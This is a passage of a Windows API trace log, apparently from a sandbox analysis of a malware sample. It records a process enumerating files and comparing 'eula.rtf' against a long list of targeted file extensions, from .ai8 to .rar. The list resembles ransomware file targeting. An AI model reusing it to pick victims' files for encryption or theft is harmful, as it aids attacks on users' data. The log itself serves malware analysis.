(lpString1=".ai8", lpString2=".rtf") returned -1 [0099.058] lstrlenW (lpString=".anim") returned 5 [0099.058] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0099.058] lstrlenW (lpString=".arw") returned 4 [0099.058] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0099.058] lstrlenW (lpString=".as") returned 3 [0099.058] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0099.058] lstrlenW (lpString=".asa") returned 4 [0099.058] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0099.058] lstrlenW (lpString=".asc") returned 4 [0099.058] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0099.058] lstrlenW (lpString=".ascx") returned 5 [0099.058] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0099.058] lstrlenW (lpString=".asm") returned 4 [0099.058] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0099.059] lstrlenW (lpString=".asmx") returned 5 [0099.059] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0099.059] lstrlenW (lpString=".asp") returned 4 [0099.059] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0099.059] lstrlenW (lpString=".aspx") returned 5 [0099.059] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0099.059] lstrlenW (lpString=".asr") returned 4 [0099.059] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0099.059] lstrlenW (lpString=".asx") returned 4 [0099.059] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0099.059] lstrlenW (lpString=".avi") returned 4 [0099.059] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0099.059] lstrlenW (lpString=".avs") returned 4 [0099.059] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0099.059] lstrlenW (lpString=".backup") returned 7 [0099.059] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0099.059] lstrlenW (lpString=".bak") returned 4 [0099.059] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0099.059] lstrlenW (lpString=".bay") returned 4 [0099.059] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0099.059] lstrlenW (lpString=".bd") returned 3 [0099.059] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0099.059] lstrlenW (lpString=".bin") returned 4 [0099.059] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0099.059] lstrlenW (lpString=".bmp") returned 4 [0099.059] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0099.059] lstrlenW (lpString=".bz2") returned 4 [0099.059] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0099.059] lstrlenW (lpString=".c") returned 2 [0099.059] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0099.059] lstrlenW (lpString=".cdr") returned 4 [0099.059] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0099.059] lstrlenW (lpString=".cer") returned 4 [0099.059] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0099.059] lstrlenW (lpString=".cf") returned 3 [0099.059] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0099.059] lstrlenW (lpString=".cfc") returned 4 [0099.060] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0099.060] lstrlenW (lpString=".cfm") returned 4 [0099.060] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0099.060] lstrlenW (lpString=".cfml") returned 5 [0099.060] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0099.060] lstrlenW (lpString=".cfu") returned 4 [0099.060] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0099.060] lstrlenW (lpString=".chm") returned 4 [0099.060] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0099.060] lstrlenW (lpString=".cin") returned 4 [0099.060] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0099.060] lstrlenW (lpString=".class") returned 6 [0099.060] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0099.060] lstrlenW (lpString=".clx") returned 4 [0099.060] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0099.060] lstrlenW (lpString=".config") returned 7 [0099.060] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0099.060] lstrlenW (lpString=".cpp") returned 4 [0099.060] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0099.060] lstrlenW (lpString=".cr2") returned 4 [0099.060] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0099.060] lstrlenW (lpString=".crt") returned 4 [0099.060] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0099.060] lstrlenW (lpString=".crw") returned 4 [0099.060] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0099.060] lstrlenW (lpString=".cs") returned 3 [0099.060] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0099.060] lstrlenW (lpString=".css") returned 4 [0099.060] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0099.060] lstrlenW (lpString=".csv") returned 4 [0099.060] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0099.060] lstrlenW (lpString=".cub") returned 4 [0099.060] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0099.060] lstrlenW (lpString=".dae") returned 4 [0099.060] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0099.060] lstrlenW (lpString=".dat") returned 4 [0099.060] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0099.061] lstrlenW (lpString=".db") returned 3 [0099.061] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0099.061] lstrlenW (lpString=".dbf") returned 4 [0099.061] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0099.061] lstrlenW (lpString=".dbx") returned 4 [0099.061] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0099.061] lstrlenW (lpString=".dc3") returned 4 [0099.061] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0099.061] lstrlenW (lpString=".dcm") returned 4 [0099.061] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0099.061] lstrlenW (lpString=".dcr") returned 4 [0099.061] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0099.061] lstrlenW (lpString=".der") returned 4 [0099.061] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0099.061] lstrlenW (lpString=".dib") returned 4 [0099.061] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0099.061] lstrlenW (lpString=".dic") returned 4 [0099.061] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0099.061] lstrlenW (lpString=".dif") returned 4 [0099.061] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0099.061] lstrlenW (lpString=".divx") returned 5 [0099.061] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0099.061] lstrlenW (lpString=".djvu") returned 5 [0099.061] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0099.061] lstrlenW (lpString=".dng") returned 4 [0099.061] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0099.061] lstrlenW (lpString=".doc") returned 4 [0099.061] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0099.061] lstrlenW (lpString=".docm") returned 5 [0099.061] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0099.061] lstrlenW (lpString=".docx") returned 5 [0099.061] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0099.061] lstrlenW (lpString=".dot") returned 4 [0099.061] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0099.061] lstrlenW (lpString=".dotm") returned 5 [0099.061] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0099.061] lstrlenW (lpString=".dotx") returned 5 [0099.062] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0099.062] lstrlenW (lpString=".dpx") returned 4 [0099.062] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0099.062] lstrlenW (lpString=".dqy") returned 4 [0099.062] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0099.062] lstrlenW (lpString=".dsn") returned 4 [0099.062] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0099.062] lstrlenW (lpString=".dt") returned 3 [0099.062] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0099.062] lstrlenW (lpString=".dtd") returned 4 [0099.062] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0099.062] lstrlenW (lpString=".dwg") returned 4 [0099.062] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0099.062] lstrlenW (lpString=".dwt") returned 4 [0099.062] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0099.062] lstrlenW (lpString=".dx") returned 3 [0099.062] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0099.062] lstrlenW (lpString=".dxf") returned 4 [0099.062] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0099.062] lstrlenW (lpString=".edml") returned 5 [0099.062] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0099.062] lstrlenW (lpString=".efd") returned 4 [0099.062] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0099.062] lstrlenW (lpString=".elf") returned 4 [0099.062] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0099.062] lstrlenW (lpString=".emf") returned 4 [0099.062] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0099.062] lstrlenW (lpString=".emz") returned 4 [0099.062] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0099.062] lstrlenW (lpString=".epf") returned 4 [0099.062] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0099.062] lstrlenW (lpString=".eps") returned 4 [0099.062] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0099.062] lstrlenW (lpString=".epsf") returned 5 [0099.062] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0099.062] lstrlenW (lpString=".epsp") returned 5 [0099.062] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0099.062] lstrlenW (lpString=".erf") returned 4 [0099.063] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0099.063] lstrlenW (lpString=".exr") returned 4 [0099.063] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0099.063] lstrlenW (lpString=".f4v") returned 4 [0099.063] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0099.063] lstrlenW (lpString=".fido") returned 5 [0099.063] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0099.063] lstrlenW (lpString=".flm") returned 4 [0099.063] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0099.063] lstrlenW (lpString=".flv") returned 4 [0099.063] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0099.063] lstrlenW (lpString=".frm") returned 4 [0099.063] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0099.063] lstrlenW (lpString=".fxg") returned 4 [0099.063] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0099.063] lstrlenW (lpString=".geo") returned 4 [0099.063] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0099.063] lstrlenW (lpString=".gif") returned 4 [0099.063] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0099.063] lstrlenW (lpString=".grs") returned 4 [0099.063] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0099.063] lstrlenW (lpString=".gz") returned 3 [0099.063] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0099.063] lstrlenW (lpString=".h") returned 2 [0099.063] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0099.063] lstrlenW (lpString=".hdr") returned 4 [0099.063] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0099.063] lstrlenW (lpString=".hpp") returned 4 [0099.063] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0099.063] lstrlenW (lpString=".hta") returned 4 [0099.063] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0099.063] lstrlenW (lpString=".htc") returned 4 [0099.063] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0099.063] lstrlenW (lpString=".htm") returned 4 [0099.063] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0099.063] lstrlenW (lpString=".html") returned 5 [0099.063] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0099.064] lstrlenW (lpString=".icb") returned 4 [0099.064] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0099.064] lstrlenW (lpString=".ics") returned 4 [0099.064] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0099.064] lstrlenW (lpString=".iff") returned 4 [0099.064] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0099.064] lstrlenW (lpString=".inc") returned 4 [0099.064] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0099.064] lstrlenW (lpString=".indd") returned 5 [0099.064] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0099.064] lstrlenW (lpString=".ini") returned 4 [0099.064] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0099.064] lstrlenW (lpString=".iqy") returned 4 [0099.064] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0099.064] lstrlenW (lpString=".j2c") returned 4 [0099.064] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0099.064] lstrlenW (lpString=".j2k") returned 4 [0099.064] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0099.064] lstrlenW (lpString=".java") returned 5 [0099.064] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0099.064] lstrlenW (lpString=".jp2") returned 4 [0099.064] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0099.064] lstrlenW (lpString=".jpc") returned 4 [0099.064] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0099.064] lstrlenW (lpString=".jpe") returned 4 [0099.064] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0099.064] lstrlenW (lpString=".jpeg") returned 5 [0099.064] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0099.064] lstrlenW (lpString=".jpf") returned 4 [0099.064] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0099.064] lstrlenW (lpString=".jpg") returned 4 [0099.064] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0099.064] lstrlenW (lpString=".jpx") returned 4 [0099.064] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0099.064] lstrlenW (lpString=".js") returned 3 [0099.064] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0099.064] lstrlenW (lpString=".jsf") returned 4 [0099.065] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0099.065] lstrlenW (lpString=".json") returned 5 [0099.065] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0099.065] lstrlenW (lpString=".jsp") returned 4 [0099.065] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0099.065] lstrlenW (lpString=".kdc") returned 4 [0099.065] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0099.065] lstrlenW (lpString=".kmz") returned 4 [0099.065] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0099.065] lstrlenW (lpString=".kwm") returned 4 [0099.065] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0099.065] lstrlenW (lpString=".lasso") returned 6 [0099.065] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0099.065] lstrlenW (lpString=".lbi") returned 4 [0099.065] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0099.065] lstrlenW (lpString=".lgf") returned 4 [0099.065] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0099.065] lstrlenW (lpString=".lgp") returned 4 [0099.065] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0099.065] lstrlenW (lpString=".log") returned 4 [0099.065] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0099.065] lstrlenW (lpString=".m1v") returned 4 [0099.065] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0099.065] lstrlenW (lpString=".m4a") returned 4 [0099.065] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0099.065] lstrlenW (lpString=".m4v") returned 4 [0099.065] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0099.065] lstrlenW (lpString=".max") returned 4 [0099.065] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0099.065] lstrlenW (lpString=".md") returned 3 [0099.065] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0099.065] lstrlenW (lpString=".mda") returned 4 [0099.065] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0099.065] lstrlenW (lpString=".mdb") returned 4 [0099.065] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0099.065] lstrlenW (lpString=".mde") returned 4 [0099.065] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0099.066] lstrlenW (lpString=".mdf") returned 4 [0099.066] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0099.066] lstrlenW (lpString=".mdw") returned 4 [0099.066] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0099.066] lstrlenW (lpString=".mef") returned 4 [0099.066] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0099.066] lstrlenW (lpString=".mft") returned 4 [0099.066] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0099.066] lstrlenW (lpString=".mfw") returned 4 [0099.066] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0099.066] lstrlenW (lpString=".mht") returned 4 [0099.066] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0099.066] lstrlenW (lpString=".mhtml") returned 6 [0099.066] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0099.066] lstrlenW (lpString=".mka") returned 4 [0099.066] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0099.066] lstrlenW (lpString=".mkidx") returned 6 [0099.066] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0099.066] lstrlenW (lpString=".mkv") returned 4 [0099.066] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0099.066] lstrlenW (lpString=".mos") returned 4 [0099.066] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0099.066] lstrlenW (lpString=".mov") returned 4 [0099.066] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0099.066] lstrlenW (lpString=".mp3") returned 4 [0099.066] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0099.066] lstrlenW (lpString=".mp4") returned 4 [0099.066] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0099.066] lstrlenW (lpString=".mpeg") returned 5 [0099.066] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0099.066] lstrlenW (lpString=".mpg") returned 4 [0099.066] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0099.066] lstrlenW (lpString=".mpv") returned 4 [0099.066] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0099.066] lstrlenW (lpString=".mrw") returned 4 [0099.066] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0099.066] lstrlenW (lpString=".msg") returned 4 [0099.067] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0099.067] lstrlenW (lpString=".mxl") returned 4 [0099.067] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0099.067] lstrlenW (lpString=".myd") returned 4 [0099.067] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0099.067] lstrlenW (lpString=".myi") returned 4 [0099.067] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0099.067] lstrlenW (lpString=".nef") returned 4 [0099.067] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0099.067] lstrlenW (lpString=".nrw") returned 4 [0099.067] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0099.067] lstrlenW (lpString=".obj") returned 4 [0099.067] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0099.067] lstrlenW (lpString=".odb") returned 4 [0099.067] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0099.067] lstrlenW (lpString=".odc") returned 4 [0099.067] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0099.067] lstrlenW (lpString=".odm") returned 4 [0099.067] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0099.067] lstrlenW (lpString=".odp") returned 4 [0099.067] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0099.067] lstrlenW (lpString=".ods") returned 4 [0099.067] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0099.067] lstrlenW (lpString=".oft") returned 4 [0099.067] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0099.067] lstrlenW (lpString=".one") returned 4 [0099.067] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0099.067] lstrlenW (lpString=".onepkg") returned 7 [0099.067] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0099.067] lstrlenW (lpString=".onetoc2") returned 8 [0099.067] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0099.067] lstrlenW (lpString=".opt") returned 4 [0099.067] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0099.067] lstrlenW (lpString=".oqy") returned 4 [0099.067] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0099.067] lstrlenW (lpString=".orf") returned 4 [0099.067] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".p12") returned 4 [0099.068] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".p7b") returned 4 [0099.068] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".p7c") returned 4 [0099.068] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".pam") returned 4 [0099.068] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".pbm") returned 4 [0099.068] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".pct") returned 4 [0099.068] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".pcx") returned 4 [0099.068] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".pdd") returned 4 [0099.068] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".pdf") returned 4 [0099.068] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".pdp") returned 4 [0099.068] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".pef") returned 4 [0099.068] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".pem") returned 4 [0099.068] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".pff") returned 4 [0099.068] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".pfm") returned 4 [0099.068] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".pfx") returned 4 [0099.068] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".pgm") returned 4 [0099.068] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".php") returned 4 [0099.068] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0099.068] lstrlenW (lpString=".php3") returned 5 [0099.068] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0099.068] lstrlenW (lpString=".php4") returned 5 [0099.069] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0099.069] lstrlenW (lpString=".php5") returned 5 [0099.069] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0099.069] lstrlenW (lpString=".phtml") returned 6 [0099.069] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0099.069] lstrlenW (lpString=".pict") returned 5 [0099.069] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0099.069] lstrlenW (lpString=".pl") returned 3 [0099.069] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0099.069] lstrlenW (lpString=".pls") returned 4 [0099.069] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0099.069] lstrlenW (lpString=".pm") returned 3 [0099.069] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0099.069] lstrlenW (lpString=".png") returned 4 [0099.069] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0099.069] lstrlenW (lpString=".pnm") returned 4 [0099.069] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0099.069] lstrlenW (lpString=".pot") returned 4 [0099.069] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0099.069] lstrlenW (lpString=".potm") returned 5 [0099.069] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0099.069] lstrlenW (lpString=".potx") returned 5 [0099.069] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0099.069] lstrlenW (lpString=".ppa") returned 4 [0099.069] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0099.069] lstrlenW (lpString=".ppam") returned 5 [0099.069] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0099.069] lstrlenW (lpString=".ppm") returned 4 [0099.069] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0099.069] lstrlenW (lpString=".pps") returned 4 [0099.069] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0099.069] lstrlenW (lpString=".ppsm") returned 5 [0099.069] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0099.069] lstrlenW (lpString=".ppt") returned 4 [0099.069] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0099.069] lstrlenW (lpString=".pptm") returned 5 [0099.069] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0099.070] lstrlenW (lpString=".pptx") returned 5 [0099.070] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0099.070] lstrlenW (lpString=".prn") returned 4 [0099.070] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0099.070] lstrlenW (lpString=".ps") returned 3 [0099.070] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0099.070] lstrlenW (lpString=".psb") returned 4 [0099.070] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0099.070] lstrlenW (lpString=".psd") returned 4 [0099.070] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0099.070] lstrlenW (lpString=".pst") returned 4 [0099.070] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0099.070] lstrlenW (lpString=".ptx") returned 4 [0099.070] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0099.070] lstrlenW (lpString=".pub") returned 4 [0099.070] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0099.070] lstrlenW (lpString=".pwm") returned 4 [0099.070] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0099.070] lstrlenW (lpString=".pxr") returned 4 [0099.070] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0099.070] lstrlenW (lpString=".py") returned 3 [0099.070] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0099.070] lstrlenW (lpString=".qt") returned 3 [0099.070] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0099.070] lstrlenW (lpString=".r3d") returned 4 [0099.070] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0099.070] lstrlenW (lpString=".raf") returned 4 [0099.070] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0099.070] lstrlenW (lpString=".rar") returned 4 [0099.070] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0099.070] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, 